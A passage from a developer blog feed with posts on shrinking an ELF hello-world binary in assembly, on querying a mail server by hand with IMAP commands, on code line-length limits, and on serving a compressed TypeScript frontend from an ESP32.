<p>This is not bad at all, but to go further we have to understand every single byte of the binary. The format of binaries on Linux is called ELF. But who is this magic elf 🧝? It stands for “Executable and Linkable Format“ and describes the format of an assembled binary. You can read through the spec <a target="_blank" href="https://refspecs.linuxfoundation.org/elf/elf.pdf?utm_source=chatgpt.com">here</a> but I will summarize quickly. The spec contains this nice figure which describes the layout of our binary before (the <code>hello.o</code> file) and after linking:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735396791364/bfcca268-f45e-4bf2-8465-441fa76d8f1e.png" alt class="image--center mx-auto" /></p>
<p>So while the small binary before linking also adheres to the ELF format most of the information is only added to the executable. We will have a more detailed look at the header later. The program header describes which memory sections to load at runtime. The section header describes static data (<code>.text</code>, <code>.data</code> sections). The segments define what needs to be loaded into memory for execution. <a target="_blank" href="https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#/media/File:ELF_Executable_and_Linkable_Format_diagram_by_Ange_Albertini.png">This figure</a> from Wikipedia visualizes the execution view quite well, but you might have to zoom in.</p>
<p>We can assemble our executable without the ELF format as a so-called ‘flat binary‘ and get only the bytes for our hello-world code (we also have to remove the <code>global</code> instruction):</p>
<pre><code class="lang-bash">$ nasm -f bin -o hello.o hello.asm
$ wc -c hello.o
47 hello.o
$ ld -o hello hello.o               
ld:hello.o: file format not recognized; treating as linker script
ld:hello.o:1: syntax error
</code></pre>
<p>So the raw assembled binary is now 47 bytes. However, we cannot link and execute it inside of our operating system anymore. This is because we don’t have the ELF header anymore! This is useful if we would want to build our own BIOS or system kernel.</p>
<p>It is also useful for us because now we can measure exactly how each instruction influences the binary output size without having to worry that the size might be distorted because of alignment or padding introduced by the linker. So now it’s time to optimize our hello world program!</p>
<p>I got some tips on hackernews: At some places we can use the 32-bit instructions (like <code>mov edi, eax</code>) which will remove one byte (the REX prefix byte); Additionally, by using the stack-based operations <code>push</code> and <code>pop</code>, which have a small opcode and encode the value as 8-bit numbers instead of using 32 bit we can rewrite the main program like this:</p>
<pre><code class="lang-bash">msg: db <span class="hljs-string">'Hello, World!'</span>, 0xA

_start:
    ; syscall: sys_write (1)
    push 1             ; syscall number
    pop rax
    mov edi, eax       ; file descriptor: stdout
    lea esi, [rel msg] ; pointer to message
    push 14            ; message length
    pop rdx
    syscall            ; invoke syscall

    ; syscall: sys_exit (60)
    mov eax, 60        ; syscall number
    xor edi, edi       ; <span class="hljs-built_in">exit</span> code 0
    syscall            ; invoke syscall
</code></pre>
<p>And with that, we got it down to 39 bytes (we had 47 bytes before)!</p>
<p>Back to the problem that we still cannot execute that binary: Since we don’t rely on any of the other features of the linker or ELF format in this case, we can just create the ELF header ourselves. Using assembly we can write the required bytes directly into the code:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="aaf08c7678e02b574973556d0fba741e"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/michidk/aaf08c7678e02b574973556d0fba741e" class="embed-card">https://gist.github.com/michidk/aaf08c7678e02b574973556d0fba741e</a></div><p> </p>
<p>And now assembling and executing it:</p>
<pre><code class="lang-bash">$ nasm -f bin -o elf elf.asm; chmod +x elf
$ ./elf
Hello World!
$ wc -c elf
159 elf
</code></pre>
<p>Finally, we are now down to 159 bytes!</p>
<p>Now I want to highlight, that if we were to build our program for a 32-bit architecture, we could get this number down even further since instructions are encoded using fewer bytes, pointers only use 4 bytes and the binary is 4-byte aligned (instead of 8 bytes). I tried it and it got the binary size down to 121 bytes which is much smaller! But remember the rules? We restricted ourselves to a modern 64-bit architecture!</p>
<p>You can find the code for both 64-bit and 32-bit versions <a target="_blank" href="https://gist.github.com/michidk/d71f994aab9e778f5542a19cd7c1a152">here</a>.</p>
<p>Now, there are some ways we could build an executable with even fewer bytes, but I consider them violating our “according to spec“ requirement. For example, not all ELF header bytes are actually used (or the system just might not care), so we could start our program earlier by reusing some of the ELF header bytes as Brain Raiter demonstrated <a target="_blank" href="https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html">here</a>. With that technique, we would get it probably below 100 bytes.</p>
<p>What a journey! If you want to go really deep on executables, I can recommend the blog series <a target="_blank" href="https://fasterthanli.me/series/making-our-own-executable-packer">“Making our own executable packer“ by fasterthanlime</a>. Have a great one!</p>
]]></content:encoded></item><item><title><![CDATA[Talking To Your Mailserver Is Not as Hard as You Think!]]></title><description><![CDATA[The technology behind E-Mails (or ‘emails‘) always interested me. This is because in some sense it was way ahead of its time by being a decentralized communication system. Unlike WhatsApp, Telegram or other messenger services, where the service provi...]]></description><link>https://blog.lohr.dev/imap-introduction</link><guid isPermaLink="true">https://blog.lohr.dev/imap-introduction</guid><category><![CDATA[email]]></category><category><![CDATA[IMAP]]></category><category><![CDATA[development]]></category><category><![CDATA[software development]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 22 Dec 2024 14:00:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735043663893/3ab04669-58f8-4a59-8bda-2f3f29e5745d.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The technology behind E-Mails (or ‘emails‘) always interested me. This is because in some sense it was way ahead of its time by being a decentralized communication system. Unlike WhatsApp, Telegram or other messenger services, where the service provider has a centralized server (or nowadays a network of servers) processing all the messages; with emails, everybody can host their own mailserver to send and receive messages to everybody else. If Meta or Telegram decides to shut down their server, all communication is lost and the service cannot be used anymore. But with email, you can just move to another server (as long as you own your own domain at least).</p>
<p>One of the major components that power our modern email systems is the IMAP4 protocol. It is used to connect your email client to your mailserver. It’s the language used by the client to ask the server for the newest unread emails and the server responds with its contents. POP3 is (or was) also very popular and still widely supported but not used so much because it comes with a few drawbacks (a topic for another day). You probably have heard about SMTP as well, and this is the protocol that is used to send emails.</p>
<p>But those protocols alone don’t allow us to send emails. Emails heavily rely on other technologies like Domains, DNS, IPv4, SPF, DKIM, DMARC, SSL/TLS, S/MIME, PGP, NTP. In general, Emails are not too different from websites as they share a lot of the same technology (and nowadays you can even send HTML emails).</p>
<p>However, in this blog post, I want to focus on IMAP, which stands for <strong>I</strong>nternet <strong>M</strong>essage <strong>A</strong>ccess <strong>P</strong>rotocol. IMAP4 was released in 1994 as <a target="_blank" href="https://datatracker.ietf.org/doc/html/rfc1730">RFC 1730</a>. The most recent version is IMAP4rev2 (released in 2021), as defined in <a target="_blank" href="https://datatracker.ietf.org/doc/html/rfc9051">RFC 9051</a> but most mail servers (as far as I can tell) still use IMAP4rev1 as defined in <a target="_blank" href="https://datatracker.ietf.org/doc/html/rfc3501">RFC 3501</a>. It can be used to retrieve, manage, and manipulate email messages stored on a remote mail server, allowing users to perform actions such as searching, flagging, deleting, and organizing messages into folders while maintaining synchronization across multiple clients. Similarly, HTTP is a text-based protocol that relies on human-readable text commands and responses for communication between clients and servers.</p>
<p>So now, enough introduction - let’s get right into business. How do we connect to a mailserver?</p>
<p>Like with HTML, we can use the telnet utility to build up a simple TCP connection to a mailserver:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1734790219776/04943fd1-7807-4fae-a3d7-daae3482bc32.png" alt class="image--center mx-auto" /></p>
<p>After connecting we are greeted with OK followed by a list of ‘capabilities‘, which is a list of features supported by the mailserver in the current state. It also shows us which IMAP version is supported. Sometimes (but not in the screenshot above) the server will also tell you what kind of software it is running. Most of the time you will see “Docevot“ being mentioned. <a target="_blank" href="https://www.dovecot.org/">Dovecot</a> is a secure open-source IMAP &amp; POP3 server running on Linux.</p>
<p>If we are fast enough and are not getting kicked out of the session because we idled too long, we can try to log in to authenticate ourselves.</p>
<p>In order to do that, we have to understand how the IMAP commands are structured.</p>
<pre><code class="lang-bash">&lt;tag&gt; &lt;<span class="hljs-built_in">command</span>&gt; [arguments]
</code></pre>
<p>The tag prefix is supposed to be a unique tag within the session used to match the request and response. It can be anything but has to start with a letter and cannot contain spaces. While it’s supposed to be unique and typically look like <code>A001</code>, I’m lazy so I’ll always use just a. The server will then respond with:</p>
<pre><code class="lang-bash">&lt;tag&gt; &lt;status&gt; &lt;response&gt;
</code></pre>
<p>There are multiple ways to authenticate. The <code>LOGIN</code> command is the most straightforward one but is also considered insecure because it transmits the credentials in plaintext (especially when using unencrypted connections). I will use it anyway 🙃. There is also the <code>AUTHENTICATE</code> command, which uses SASL (Simple Authentication and Security Layer). The most basic way to authenticate using SASL involves encoding the credentials in base64 but can go as far as sending hashes or using token-based authentication.</p>
<p>Now if I try to log in, the following happens:</p>
<pre><code class="lang-bash">a login michael@myemail.com MySecretPassword
a BAD [CLIENTBUG] Login is disabled
</code></pre>
<p>On most other servers, this will actually just work. But on this specific server, unencrypted connections like this are disabled.</p>
<p>So instead, let’s use OpenSSL to build up a secure connection and log in. Notice that we now have to use the 993 port instead of 143:</p>
<pre><code class="lang-bash">❯ openssl s_client -connect imap.myemail.com:993 -crlf -quiet
Connecting to 123.123.123.123
depth=2 C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert Global Root G2
verify <span class="hljs-built_in">return</span>:1
depth=1 C=US, O=DigiCert Inc, OU=www.digicert.com, CN=RapidSSL TLS RSA CA G1
verify <span class="hljs-built_in">return</span>:1
depth=0 CN=imap.myemail.com
verify <span class="hljs-built_in">return</span>:1
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN AUTH=LOGIN AUTH=DIGEST-MD5 AUTH=CRAM-MD5] Dovecot ready.
a login michael@myemail.com MySecretPassword
a OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY PREVIEW STATUS=SIZE SAVEDATE LITERAL+ NOTIFY SPECIAL-USE QUOTA] Logged <span class="hljs-keyword">in</span>
</code></pre>
<p>Finally, we get an ‘OK‘ and a new list of the now unlocked capabilities (not every server sends us the new capabilities automatically; sometimes you have to issue the <code>CAPABILITY</code> command manually). This should also increase the time we have until we get thrown out of the session for inactivity.</p>
<p>We can now list all our folders:</p>
<pre><code class="lang-bash">a LIST <span class="hljs-string">""</span> <span class="hljs-string">"*"</span>
* LIST (\HasNoChildren \UnMarked) <span class="hljs-string">"/"</span> CustomFolder
* LIST (\HasNoChildren \UnMarked \Archive) <span class="hljs-string">"/"</span> Archives
* LIST (\HasChildren \Marked \Trash) <span class="hljs-string">"/"</span> Trash
* LIST (\HasNoChildren \UnMarked) <span class="hljs-string">"/"</span> Trash/OldStuff
* LIST (\HasNoChildren \UnMarked \Drafts) <span class="hljs-string">"/"</span> Drafts
* LIST (\HasNoChildren \UnMarked \Sent) <span class="hljs-string">"/"</span> Sent
* LIST (\HasNoChildren \UnMarked \Junk) <span class="hljs-string">"/"</span> Spam
* LIST (\HasNoChildren) <span class="hljs-string">"/"</span> INBOX
a OK List completed (0.018 + 0.000 + 0.017 secs).
</code></pre>
<p>Even though the main inbox folder is named <code>INBOX</code> by convention, this helps us to identify the structure of our mailbox and where to look for new mail! We can also see folders marked with flags like <code>\Sent</code> which IMAP uses for special functionality. Next, we need to select one of those folders:</p>
<pre><code class="lang-bash">a SELECT INBOX
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft NonJunk <span class="hljs-variable">$Forwarded</span> Junk)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft NonJunk <span class="hljs-variable">$Forwarded</span> Junk \*)] Flags permitted.
* 4183 EXISTS
* 0 RECENT
* OK [UIDVALIDITY &lt;secret&gt;] UIDs valid
* OK [UIDNEXT &lt;secret&gt;] Predicted next UID
* OK [HIGHESTMODSEQ &lt;secret&gt;] Highest
a OK [READ-WRITE] Select completed (0.007 + 0.000 + 0.006 secs).
</code></pre>
<p>And this tells us that I have 4183 emails in the inbox!</p>
<p>Now that we have selected a folder, we can search in it! If our capabilities contain <code>SEARCH=FUZZY</code> we can add the <code>FUZZY</code> keyword to enable a fuzzy search (otherwise just leave it out):</p>
<pre><code class="lang-bash">a SEARCH FUZZY SUBJECT <span class="hljs-string">"buy"</span>
* SEARCH 1082 1236 1830 3141 3263 4149 7401 10113 10118 10240 18106 18107 18113 18139 18140 18142 18270 18966 19226 20675 20684 20695 20709 26406
a OK SEARCH completed (12.310 s)
</code></pre>
<p>Amongst others, you can use <code>BODY</code> to search in the body, <code>SUBJECT</code> to search in the subject or <code>TEXT</code> to search in both. I can then use the <code>FETCH</code> command to display one of those IDs (or any others):</p>
<pre><code class="lang-bash">a FETCH 26046 (BODY[])
* 26046 FETCH (BODY[] {130059}
X-Envelope-From: &lt;****@email.epicgames.com&gt;
X-Envelope-To: &lt;michael@myemail.com&gt;
X-Delivery-Time: 1725393397
X-UID: &lt;secret&gt;
Return-Path: ....
</code></pre>
<p>It starts with the headers and will eventually show the contents further down. This format is called MIME (Multipurpose Internet Mail Extensions) as defined in RFC 2045-2049.</p>
<p>Now we can search and read emails via the command line without the help of any email client. Of course, we can do a lot more with IMAP but this will get you started. Remember for sending emails we need to use SMTP instead - I might cover this in future as well!</p>
]]></content:encoded></item><item><title><![CDATA[The Case Against Character Count Line Limits]]></title><description><![CDATA[I recently had a discussion with a colleague about whether we should introduce a character count limit per line into our style guide. He believes it enhances readability, while I argue that readability should be facilitated by the editor or IDE, not ...]]></description><link>https://blog.lohr.dev/character-line-limits</link><guid isPermaLink="true">https://blog.lohr.dev/character-line-limits</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[software development]]></category><category><![CDATA[coding]]></category><category><![CDATA[writing]]></category><category><![CDATA[Open Source]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Tue, 08 Oct 2024 11:59:05 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728388688685/63d6bdf4-a0d4-4f43-b6c9-4b73b080c474.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I recently had a discussion with a colleague about whether we should introduce a character count limit per line into our style guide. He believes it enhances readability, while I argue that readability should be facilitated by the editor or IDE, not the content itself. However, I wasn't entirely confident in my stance, as line limits seem to be a common feature in the style guides of many major open-source projects. Surely, there must be a good reason for this that I might have overlooked! So I started researching this niche question.</p>
<p>Turns out I’m not the first one who wondered about this (duh) - but I wasn’t expecting this rabbit hole of heated internet discussions about such an arguably unimportant topic. Quite annoying, that there was no definitive answer - However, there are several reasons why it might make sense in certain cases. Let’s dive in!</p>
<h2 id="heading-line-limits-today">Line Limits Today</h2>
<p><em>From now on I will use the term CPL to refer to "characters per line", since we are going to use this term a lot!</em></p>
<p>Let's first look at some popular open-source projects &amp; coding standards:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Repository</td><td>Programming Language(s)</td><td>Line Length Limit</td><td>Notes</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Linux Kernel</strong></td><td>C</td><td>80 CPL</td><td>They also have <a target="_blank" href="https://github.com/torvalds/linux/blob/master/.rustfmt.toml#L10">100 CPL</a> for Rust docs</td></tr>
<tr>
<td><strong>Google Style Guides</strong></td><td>Various</td><td><a target="_blank" href="https://google.github.io/styleguide/cppguide.html">80 CPL</a> (CPP) and <a target="_blank" href="https://google.github.io/styleguide/javaguide.html">100 CPL</a> (Java) with exceptions</td><td>Google's style guides for different languages have various line limits (or none at all)</td></tr>
<tr>
<td><strong>Apache Hadoop</strong></td><td>Java</td><td>80 CPL</td><td>Follows <a target="_blank" href="https://www.oracle.com/java/technologies/javase/codeconventions-indentation.html">Sun's Java conventions</a> with some modifications.</td></tr>
<tr>
<td><strong>PEP 8 (Python)</strong></td><td>Python</td><td>79 CPL for code, 72 CPL for documentation</td><td>Recommended by Python Enhancement Proposal 8 for Python code.</td></tr>
<tr>
<td><strong>Django</strong></td><td>Python</td><td>88 CPL for code, 79 CPL for documentation</td><td>Adheres to <a target="_blank" href="https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/">Django's style guide</a>, making an exception to PEP 8 in favour of the Black formatter (which uses 88).</td></tr>
<tr>
<td><strong>React</strong></td><td>JavaScript, JSX</td><td><a target="_blank" href="https://github.com/facebook/react/blob/main/.editorconfig">80 CPL</a></td><td><a target="_blank" href="https://prettier.io/docs/en/options.html">Enforced through ESLint</a> for JavaScript/JSX code.</td></tr>
<tr>
<td><strong>WordPress</strong></td><td>PHP &amp; JavaScript</td><td>usually 80 CPL, not exceeding 100 CPL (soft limit)</td><td>Follows the <a target="_blank" href="https://developer.wordpress.org/coding-standards/inline-documentation-standards/php/">WordPress Coding Standards</a>.</td></tr>
</tbody>
</table>
</div><p>It's a mess. And, these are just a couple of examples. I saw repositories using no limits, 70, 72, 79, 80, 88, 90, 95, 100, 120, 125, 130, 132 CPL and then some of these are hard limits; some are soft limits; some only apply to code and others to documentation. So clearly everybody has a different opinion on these!</p>
<p>These limits seem to be quite important to people, as they sparked various discussions (<a target="_blank" href="https://github.com/prettier/prettier/issues/12424">just</a> <a target="_blank" href="https://stackoverflow.com/questions/88942/why-does-pep-8-specify-a-maximum-line-length-of-79-characters">a</a> <a target="_blank" href="https://www.reddit.com/r/git/comments/20ko8g/why_do_a_lot_of_developers_apply_a_72character/">couple</a> <a target="_blank" href="https://github.com/minetest/minetest/issues/10740">of</a> <a target="_blank" href="https://github.com/dart-lang/dart_style/issues/833">examples</a>).</p>
<blockquote>
<p>Guys, we're not in the 1970's anymore.</p>
</blockquote>
<p>... is often the reasoning behind arguing against line limits. So where do they actually come from?</p>
<h2 id="heading-the-origins-of-line-limits">The Origins of Line Limits</h2>
<p>It probably all started with <a target="_blank" href="https://en.wikipedia.org/wiki/Typewriter">typewriters</a> (and <a target="_blank" href="https://en.wikipedia.org/wiki/Teleprinter">teleprinters</a>). They typically had a character limitation of around 70 to 90 CPL due to the letter paper size and the mechanical designs of the typewriter carriage [<a target="_blank" href="https://en.wikipedia.org/wiki/Characters_per_line#History">Source</a>]. But there wasn't really a standardized format.</p>
<p>The 80 CPL convention dates back to the era of punch cards (the early 20th century until the late 1970s), particularly with IBM punch cards used in early computing, which could hold up to 12 rows and 80 columns.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708782640845/612caef2-9216-435c-80ca-f5665dfef072.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>This card was used to load software into a mainframe computer. Each byte (the letter 'A', for example) is entered by punching out a column of holes. Contents appear to be a line from a Fortran program - [<a target="_blank" href="https://commons.wikimedia.org/wiki/File:Used_Punchcard_\(5151286161\).jpg">Source</a>]</p>
</blockquote>
<p>This carried over to the earliest computer terminals such as DECs VT52 and VT100, which displayed 80 CPL across 24 lines [<a target="_blank" href="https://en.wikipedia.org/wiki/Characters_per_line#History">Source</a>]. To this date, many terminal emulators use 80x24 characters as the default resolution.</p>
<h2 id="heading-do-we-still-need-line-limits">Do We Still Need Line Limits?</h2>
<p>So the whole line limit thing (especially the 80-character limit) started with punch cards. Most other limits are relaxations based on this limit. Why did we relax them? Well, displays got better; we now render terminals/code inside smaller windows and our programming languages got more verbose.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708782613450/e6df4621-2331-4abc-8392-752d595fe2e5.png" alt class="image--center mx-auto" /></p>
<p>But do we need them at all?</p>
<p>Well, I can see why they kept the punch card CPL limits for the first terminals at least. Since code is left-aligned and most characters are placed on the left portion of the screen, limiting the count of characters per line forces developers to split long lines of text into multiple lines which means no need for horizontal scrolling.</p>
<p>However, nowadays, we don’t have small fixed-size fullscreen terminals anymore. Hell, even if you use your code editor area fullscreen (who does that?!) there are so many different display sizes and resolutions. But I rarely see developers who have their text editor stretch across the whole screen. We use different windows with basically unlimited different window sizes - and if not, your IDE probably has a sidebar or other UI elements, leading to non-standard text-content-view sizes (meaning the area which actually displays text).</p>
<p>Even if you assume that every developer has a similarly sized text editor, we might still use different font sizes (or typefaces).</p>
<p>In discussions, I often heard the reasoning, that those line limits definitely won’t fit all but they are good enough approximations of the average window size - and that bit of empty space does not bother them.</p>
<p>Well, to me it does! Why do we have big monitors and the possibility of adjusting windows to maximize screen real estate, when we cannot use them? I often have multiple files and software (browser, debugger, docs) open in parallel.</p>
<p>I would be totally sold if there was an automated way to adjust those line limits depending on my window size to prevent cut-off text or unused empty space! If there only was a feature like this (foreshadowing).</p>
<p>But having those line limits built-in to the codebase means there is no (trivial) way of doing it automatically since the text is already (vertically) shortened and would have to be reconstructed first.</p>
<p>Another big problem is that these limits force developers to split lines into new ones to avoid horizontal scrolling. This just shifts the problem and results in more vertical scrolling, as the text becomes longer vertically, even if you have a very wide display.</p>
<p>Take this screenshot as an example:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728387300496/0bccbe07-68de-4ee1-a9f0-6f114e3e7cde.png" alt="Two code snippets displaying TypeScript functions to format and log user details. The left snippet formats details over multiple lines, while the right snippet does so in a single line. Both use similar data." class="image--center mx-auto" /></p>
<p>Same TypeScript code - 60 characters per line on the left, 120 on the right. The code with the 60-character line limit is twice as high.</p>
<p>Why should someone writing code decide how I want to read the text and size my window? Shouldn't this be the responsibility of the text editor?</p>
<p>Well, some people argue that it allows them to read faster. Is this true? There is not a lot of ‘real‘ research in this field, but I found an interesting study by Atilgan, et al. (<a target="_blank" href="https://www.pnas.org/doi/full/10.1073/pnas.2007514117">https://www.pnas.org/doi/full/10.1073/pnas.2007514117</a>).</p>
<p>They determined that there is a minimum limit of characters per line at around 13 characters for normal-sighted people when reading text (not code). A maximum does not seem to exist (though this was not the focus of the study). However, the participants did not have to scroll at any point because the text automatically wrapped to the next line near the end of the display area.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727957195506/6cb69a13-488a-4027-8650-e5de1fe12df1.png" alt="Graph depicting the relationship between reading speed (words per minute) and character count per line. The maximum reading speed levels off as the character count increases. A vertical dotted line indicates the critical character count where reading speed starts to stabilize." class="image--center mx-auto" /></p>
<p>Then there is also this Study by Shaik, et al. which was sponsored by Microsoft (<a target="_blank" href="https://www.semanticscholar.org/paper/The-effect-of-line-length-and-passage-type-on-and-Shaikh-Chaparro/4539b499d5b9d911901a99460dda3da7ce037041">https://www.semanticscholar.org/paper/The-effect-of-line-length-and-passage-type-on-and-Shaikh-Chaparro/4539b499d5b9d911901a99460dda3da7ce037041</a>). They also find that longer CPLs lead to faster reading speeds independent of the type of text (narrative passages and news articles). However, they found that the comprehension of texts (not code) could actually be better when using shorter line lengths; the personal preferences of readers might be completely different - tough results are not very conclusive.</p>
<h2 id="heading-alternatives-to-line-limits">Alternatives to Line Limits</h2>
<p>So what do I propose instead?</p>
<p>There are two alternatives - one we already touched: Horizontal scrolling. There are a few arguments against this. For one, most people have only one mouse wheel (which is vertically positioned on the mouse) and to scroll horizontally, they need to hold down some other button or use the keyboard. It’s also pretty easy to lose your sense of position in a document when scrolling in two dimensions. The worst part: You might actually overlook some piece of code you were looking for because now it’s easy to ‘scroll’ around something.</p>
<p>So what else is there? Well, what we could do manually by splitting lines (or letting our formatting tool do for us), our editor can do as well - crazy right? It’s called line wrapping. In vscode it can be turned on and off with a simple command or key combination. It will shorten the lines and move content to the next one depending on what fits in your editor window.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>I cannot find a single logical reason for why we would actually need character line limits when writing code - at least when we assume that part of the developer’s job is to structure and format their code in a readable way.</p>
<p>But, to be completely honest, sometimes it just feels better to read 80 or 120 CPL limited code. I am not totally sure why, maybe horizontally scrolling is too annoying or the line-wrapping functionality of my editor is bad? Maybe it depends on the programming language or my display? I might have to pay more attention to this gut feeling in future.</p>
<p>Or I just go on, don’t care and use the recommendation of the code style which we are adhering to… Since I spent way too much time researching this and who cares anyway…</p>
<p>Also it probably just makes sense to have any kind of line limit in big projects to prevent trolls from abusing it.</p>
<p>By the way, after some more personal research, I found the perfect solution to make code more readable: Center-alignment.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708778165874/386fe9db-8a72-4052-81ed-2ffc99b3d0cc.png" alt="A Visual Studio Code window showing a Rust project, but the text is center-aligned." class="image--center mx-auto" /></p>
<p>Just kidding - please don’t.</p>
<p>Cheers</p>
]]></content:encoded></item><item><title><![CDATA[Embedded TypeScript: Hosting a Frontend on a ESP32]]></title><description><![CDATA[You might have read about how (and why!) we use Rust on embedded. If not, go check out my previous article! In this one, I will talk about how we added a frontend based on Typescript into the mix.
Some background: I work for a company building second...]]></description><link>https://blog.lohr.dev/embedded-typescript</link><guid isPermaLink="true">https://blog.lohr.dev/embedded-typescript</guid><category><![CDATA[TypeScript]]></category><category><![CDATA[embedded]]></category><category><![CDATA[Rust]]></category><category><![CDATA[ESP32]]></category><category><![CDATA[hardware]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Thu, 22 Feb 2024 13:00:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1708360744234/a5c0c911-1e2b-4b18-9f72-3ac5708571a1.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>You might have read about how (and why!) we use Rust on embedded. If not, go check out <a target="_blank" href="https://blog.lohr.dev/embedded-rust">my previous article</a>! In this one, I will talk about how we added a frontend based on Typescript into the mix.</p>
<p>Some background: I work for <a target="_blank" href="https://stabl.com/?ref=ml-blog">a company building second-life storage systems</a>. To track our system, we have an embedded device, written in Rust, which pushes data to the cloud. Now, when installing a new system at the customer's site, this device needs to be configured and connected to the customer's WiFi.</p>
<p>We need some kind of interface to enter the configuration and write that onto the device. First, the device installer needs to connect to the device somehow. But this is easy! As presented in <a target="_blank" href="https://blog.lohr.dev/embedded-rust">the last blog post</a>, we use an ESP32, which comes with WiFi built-in. So we can just open up a hotspot and connect to it.</p>
<p>We can then use a command line interface, which connects over the access point to the ESP, to perform the actual configuration. However, the installation typically is done by non-programmers. Instead, we need some kind of user interface. An app sounds like a good idea! But then it has to stay compatible with multiple iterations of our embedded device (which we call "edge device") and keep supporting older versions.</p>
<p>Instead, we opted to develop a small website, which is served by the edge device and opens up once you log into its WiFi (similar to the captive portals that open up when connecting to some airport WiFi). This website is not just HTML, we also need some JavaScript for custom logic before sending the request to a different endpoint and to let the user know whether their request was successful.</p>
<p>This is one of the earlier iterations of our portal (the current state is rather boring since it only has one field):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708361793587/ac21823b-076b-433c-a338-d04e82b81a88.png" alt class="image--center mx-auto" /></p>
<p>To build this, I first started up a new <a target="_blank" href="https://nextjs.org/">Next.js</a> project, which is my go-to web development framework. But react-dom alone is just way too big:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708361940760/ace0144a-3666-4b9a-9f21-8a7053a6b8fc.png" alt class="image--center mx-auto" /></p>
<p>Soo, back to the roots! Throw in some of that sweet <code>.html</code> and <code>.js</code> along with a pinch of <code>.css</code>, et voila - we have a website.</p>
<p>I wish it were as easy as that. But we have some key limitations when building a frontend for our edge device, that I didn't mention until now:</p>
<ol>
<li><p>It has to be small. Really small. Every single byte will be a byte less, which we can use to buffer messages in case of an internet outage.</p>
</li>
<li><p>We don't have a real (but a "real-time") operating system. Yes, we have a basic notion of scheduling and threads. But, there is no such thing as a file as part of a filesystem. Just bytes. So we can't just serve a bunch of files via HTTP.</p>
</li>
<li><p>Everything we write is very hardware-dependent. There is no Linux networking stack ready to be used. So if we interact with the networking stack, we directly interact with the hardware (through a small client/server abstraction) as we do with most things on embedded. So no chance of running any modern HTTP server.</p>
</li>
</ol>
<p>Let's first tackle the second problem of embedding the website onto the device. We have a bunch of files that make up the website. But what we need in the end, is just a chunk of bytes (remember, we don't have a filesystem).</p>
<p>Without a framework, we have to build the build pipeline ourselves. We use Webpack (but it's on my to-do list to check out Turbopack, which is written in Rust) to bundle all JavaScript files and all CSS files together. This also allows us to use <a target="_blank" href="https://www.typescriptlang.org/">TypeScript</a>!</p>
<p>TypeScript is an extension to JavaScript which adds types (duh). It makes programs safer and easier to maintain. However, we can still profit from the vast JavaScript ecosystem, because it's interoperable with it - TypeScript just transpiles to JavaScript in the end (which makes it run in browsers without web assembly). Also, since we already use Rust, one of the safest programming languages out there, we just couldn't get away with using JavaScript!</p>
<p>You can embed TypeScript, CSS and other resources like images into HTML, but we didn't find a neat solution to do it with Webpack (but I'm sure there is a plugin for this somewhere out there). I then found <a target="_blank" href="https://github.com/Y2Z/monolith">monolith on GitHub</a>. It's meant for archiving webpages into a single file, but it also solves exactly our use case. We run it right after Webpack and it embeds all the website's resources base64-encoded into one single HTML file, which we then embed into our code.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708363001432/9afb86b4-73a1-4a64-9125-8a065b7323b5.png" alt class="image--center mx-auto" /></p>
<p>Challenge solved! Next up: Making it small. We already use a quite minimal CSS library called <a target="_blank" href="http://getskeleton.com/">Skeleton</a>. Webpack has a minification step and monolith embeds resources in base64. That makes it small, but not small enough.</p>
<p>Luckily browsers nowadays support compression. Meaning, we can send the client our compressed HTML file, and as long as we include information about the compression in the response headers, the client will decompress it first. We managed to reduce the size of the website by 65% by using the <a target="_blank" href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> compression algorithm! Great! Our new pipeline now looks like this: Run the bundler (Webpack), run monolith to get one file and then compress it using Brotli.</p>
